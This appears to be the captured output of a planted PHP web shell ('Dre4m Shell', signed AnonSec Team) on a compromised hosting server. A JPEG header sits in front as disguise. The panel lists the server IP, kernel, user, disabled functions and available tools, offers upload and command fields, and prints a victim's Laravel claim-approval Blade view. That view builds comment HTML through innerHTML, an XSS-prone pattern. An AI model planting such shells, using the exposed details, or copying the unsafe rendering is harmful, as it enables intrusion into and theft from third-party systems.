ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.117.188.38
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/StaffClaim/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/StaffClaim/claimsES-copy.blade.php
@extends('layouts.layout')

@section('pageTitle')
Executive Secretary Claim Approval
@endsection

@section('content')
<div id="editModal" class="modal fade">
    <div class="modal-dialog box box-default" role="document">
      <div class="modal-content">
        <div class="modal-header">
          <h4 class="modal-title">Edit Amount</h4>
          <button type="button" class="close" data-dismiss="modal" aria-label="Close">
            <span aria-hidden="true">&times;</span>
          </button>
        </div>
        <form class="form-horizontal" id="editAmountModal" name="editAmountModal"
                role="form" method="POST" action="{{route('editAmount')}}">
                {{ csrf_field() }}
        <div class="modal-body"> 
            <div class="form-group" style="margin: 0 10px;">
                <div class="col-sm-12" id="z-space1">
                          
            </div>
            </div>
          <div class="form-group" style="margin: 0 10px;">
              <label class="col-sm-2 control-label">Comment</label>
            <textarea id="comment" name="comment" class="col-sm-9 form-control"></textarea>
          </div> 
            <div class="form-group" style="margin: 0 10px;">
                <label class="col-sm-2 control-label">Amount</label>
                <input type="number" class="col-sm-9 form-control" id="amountChange" name="amountChange"/ required>
                <input type="hidden" id="claimid" name="claimid" value=""/>
                <input type="hidden" id="oldamount" name="oldamount" value=""/>
            </div>
            <div class="modal-footer">
                <button type="Submit" class="btn btn-success">Save changes</button>
                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
            </div>
            </div>
            </form>
        </div>
    </div>
  </div>

  <div id="showModal" class="modal fade">
    <div class="modal-dialog box box-default" role="document">
      <div class="modal-content">
        <div class="modal-header">
          <h4 class="modal-title">Show Details</h4>
          <button type="button" class="close" data-dismiss="modal" aria-label="Close">
            <span aria-hidden="true">&times;</span>
          </button>
        </div>
        <form class="form-horizontal" id="showDetailsModal" name="showDetailsModal"
                role="form" method="POST">
                {{ csrf_field() }}
        <div class="modal-body">  
            <div class="form-group" style="margin: 0 10px;">
                <label id="showLabel" class="col-sm-12 control-label">Details</label>
                <span id="showDetails"></span>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
            </div>
            </div>
            </form>
        </div>
    </div>
</div>

<div class="box-body">
    <div class="box box-default">
    <div class="box-body box-profile">
    <div class="box-body">
    <div class="row">
      <div class="col-sm-12">
        @include('Share.message')
        <h4 class="noprint">Executive Secretary Claim Approval</h4>
        <div class="noprint box-body">
            <div class="col-md-12">
                <div class="col-md-2">
                  <label class="control-label">Select Department</label>
                  <select class="form-control" id="chooseDep" name="chooseDep">
                    <option value="" disabled>Select</option>
                    <option value="0">All</option>
                    @foreach($departments as $department)
                  <option value="{{$department->id}}" {{$theDepartment==$department->id? "selected":""}}>{{$department->department}}</option>
                    @endforeach
                  </select>
                </div>
                </div>
          <div class="table-responsive" style="font-size: 12px; padding:10px;">
            <table id="mytable" class="table table-bordered table-striped table-highlight" >
                <col width="50">
                <col width="300">
                <col width="600">
                <col width="100">
                <col width="200">
                <col width="100">
                <col width="100">
                <col width="100">
            <thead>
            <tr bgcolor="#c7c7c7">
                <th width="1%">S/N</th>	 
                <th >Title</th>
                <th >Details</th>
                <th >Amount (₦)</th>
                <th >Applicant</th>
                <th >Department</th>
                <th >Accept</th>
                <th >Decline</th>
            </tr>
            </thead>
            @php $i=1;@endphp
            @foreach($claims as $list)
            <tr>
            <td>{{$i++}}</td>
            <td>{{$list->title}}</td>
            @php
            $words = $list->details;
            $thewords = str_replace("'","",$list->details);
            $bigwords= trim(preg_replace('/\s\s+/', ' ', $thewords));
              if(strlen($words)>100)
                $words = substr($words,0,100).'...';
            @endphp
            <td>{{$words}} <object align="right"><a onclick="showfunc('{{$bigwords}}')" class="btn btn-info btn-xs">Details</a></object></td>
           
            <td>{{$list->amount}}<object align="right"><a onclick="editfunc('{{$list->amount}}', '{{$list->ID}}','{{ json_encode([$comments])}}')" class="btn btn-info btn-xs">Edit</a></object></td>
        
            <td>{{$list->name}}</td>
            <td>{{$list->department}}</td>
            <td><a href="{{url("/es-claim/$list->ID/3")}}" onclick="return confirm('Are you sure you want to approve this claim?')" class="btn btn-success btn-sm" >Approve</a></td>
            <td><a href="{{url("/es-claim/$list->ID/4")}}" onclick="return confirm('Are you sure you want to deny this claim?')" class="btn btn-danger btn-sm" >Deny</a></td>
            
            </tr>
            @endforeach            
             </table>
        </div>
  
        </div>
      </div>
      
    
    </div>
   
   
</div>
</div>
</div>

<form id="getDepartment" method="post" action="{{route('selectDep')}}">
    {{ csrf_field() }}
      <input type="hidden" id="choosenDep" name="choosenDep" />
      
</form>
@endsection

@section('styles')
 <style>
 #showLabel
 {
    margin-bottom: 10px;
   text-align: left;
 }  
 #subButton
 {
   margin-top:25px;	
 }

 .modal-dialog
 {
  
   width: 400px
 }
 </style> 
@endsection

@section('scripts')
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
<script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/1.10.16/js/dataTables.bootstrap.min.js"></script>
<script>
  
   function editfunc(x,y,z)
    {
    $(document).ready(function(){

        $('#amountChange').val(x);
        $('#oldamount').val(x);
        $('#claimid').val(y);
        if(z == ""){
        space = document.getElementById('z-space1'); 
        space.innerText = 'No comment';
        }else{
          space = document.getElementById('z-space1'); 
        

        var g = JSON.parse(z);
        var a = g[0];
       	//console.log(a);
        console.log(a[0].claimID);
       // console.log(a[0][0]);
        //console.log(a[0][0][0]);
       	space = document.getElementById('z-space1');
       	space.innerHTML = '';
       	
       for(var i = 0; i < a.length; i++) {
        var b = a[i];
        if(b.claimID !=y)
        {
          continue;
        }
          
            space.innerHTML += '<p>'+'Amount before comment: '+'<b>₦'+b.oldPrice+'</b><br/>'+
            ' Amount after comment:  '+'<b>₦'+b.newPrice+'</b><br/>'+' Comment by '+'<b>'+b.name+'</b>:<br/>'+ b.comment +'</p><br/>';
    
}
       //$('#vim').modal('show');
        }
      
        $("#editModal").modal('show');
     });
    }

    function showfunc(x)
    {
        $("#showDetails").text(x);
        $("#showModal").modal('show');
    }

    $('#chooseDep').change(function()
    {
      $('#choosenDep').val($('#chooseDep').val());
      
      $('#getDepartment').submit();	
    });
    
    $(document).ready(function() {
    $('#mytable').DataTable();
} );
    

</script>

@endsection

 



Anon7 - 2022
AnonSec Team